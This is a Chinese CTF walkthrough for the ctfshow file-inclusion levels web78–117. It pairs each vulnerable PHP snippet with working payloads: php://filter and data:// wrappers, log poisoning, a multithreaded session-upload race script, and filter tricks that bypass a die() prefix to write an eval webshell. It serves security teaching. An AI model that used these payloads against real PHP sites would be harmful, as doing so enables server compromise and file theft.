ctfshow web入门文件包含
文件包含
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
用PHP伪协议php://filter来构造
源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/convert.base64-encode/表示读取的方式是base64编码后,resource=flag.php表示目标文件为flag.php。
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
有一个替代函数str_replace,所以上一个的payload不能用了
方法1:
?file=Php://input
<?php
system("tac flag.php");
?>
方法2
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
这个要查看源代码
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这一次又把data给过滤了
法1
与上一题的方法1类似
?file=Php://input
<?php
system("ls");//查看目录
?>
?file=Php://input
<?php
system("tac fl0g.php");
?>
data:text/plain,<?php system(‘命令’);?>
?file=data:text/plain,<?pHp system('ls');?>
法2
包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log
访问并抓包
<?php+system('ls');?>
<?php system('cat fl0g.php');?>
发现里面有两个文件fl0g.php和index.php
知识点:
访问日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
web81
这样
里面有fl0g.php,上一题也可以这么做
shell=system('tac fl0g.php');
web82-86
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
把.也过滤了,所以需要构造一个不含.的文件
大佬的wp
https://www.freebuf.com/vuls/202819.html
session配置(前提):
session.upload_progress.enabled = on
upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on
当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
session.upload_progress.prefix = “upload_progress_”
prefix+name将表示为session中的键名
session.use_strict_mode=off
这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息,所以我们要利用条件竞争来进行解题
条件竞争 是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见
我们需要写一个POST页面
<!DOCTYPE html>
<html>
<body>
<form action="http://668ba926-9165-49e7-92fb-c94a08d54feb.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
随便传一个文件就行,然后需要把Cookie改了,Cookie :PHPSESSID=flag,会在服务器上创建一个文件:/tmp/sess_flag,然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码
再传参?file=/tmp/sess_flag,抓包
然后将这两个的有效载荷改了,如图
先爆第一个post的包,在爆第二个get的包
爆出来,查看响应,发现里面有一个fl0g.php
爆破即可得到flag
详细解析:
https://blog.csdn.net/qq_44657899/article/details/109281343
补充一个通杀脚本,可以试试(多线程脚本)
import io
import requests
import threading
sessid = 'flag'
url = 'http://873190e1-396b-43bb-b91e-24c0e7eaeec3.challenge.ctf.show:8080/'
def write(session):a
while event.isSet():
f = io.BytesIO(b'a'*1024*50)
response = session.post(
url,
cookies = {'PHPSESSID':sessid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php")?>'},
files = {'file':('texe.txt',f)}
)
def read(session):
while event.isSet():
response = session.get(url+'?file=/tmp/sess_{}'.format(sessid))
if 'text' in response.text:
print(response.text)
event.clear()
else:
print('[*]wait.....')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.clear()#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.isSet()#判断event的标志是否为True。
web87
源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
先代码分析,主要传入两个参数,一个post一个get,过滤了php data : .
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
因为urldecode($file),所以我们在传入时要对file传入的东西进行二次编码
因为有die(与exit意思一样),导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制),所以我们要绕过他
这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
$file是我们我们可控的协议流,我们使用base64编码,在解码时去掉退出代码中不支持的字符,变为phpdie,在后面加上aa使得能正常解码phpdieaa(base64编码解码特性,4字节一组)
姿势:
aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
base64编码:<?php @eval($_POST[a]);?>
%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%252E%2570%2568%2570
这是对php://filter/write=convert.base64-decode/resource=1.php进行了2次url编
先把内容写入
意思是把content的内容写到了1.php中,没有返回值,说明上传成功
然后直接访问1.php,并POST参数a进行命令执行
参考博客:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1
https://www.cnblogs.com/echoDetected/p/13976405.html
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
data协议可以用
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4=
<?php system('tac fl0g.php'); ?>
web116
现在kali下binwalk一下,查看隐藏文件,在dd分离出原码图片
虽然过滤了很多,但可以直接传参构造payload:
?file=flag.php
或?file=compress.zlib:///var/www/html/flag.php
传参后下载视频就可以得到flag,或者抓包也能得到
web117
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
与web87类似
死亡绕过不同变量,但是这里把rot13和base64过滤了,所以考虑除这两种以外的方式绕过。
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串 $str 从in_charset编码转换到 $out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上
没有ban php 所以可以直接用
payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>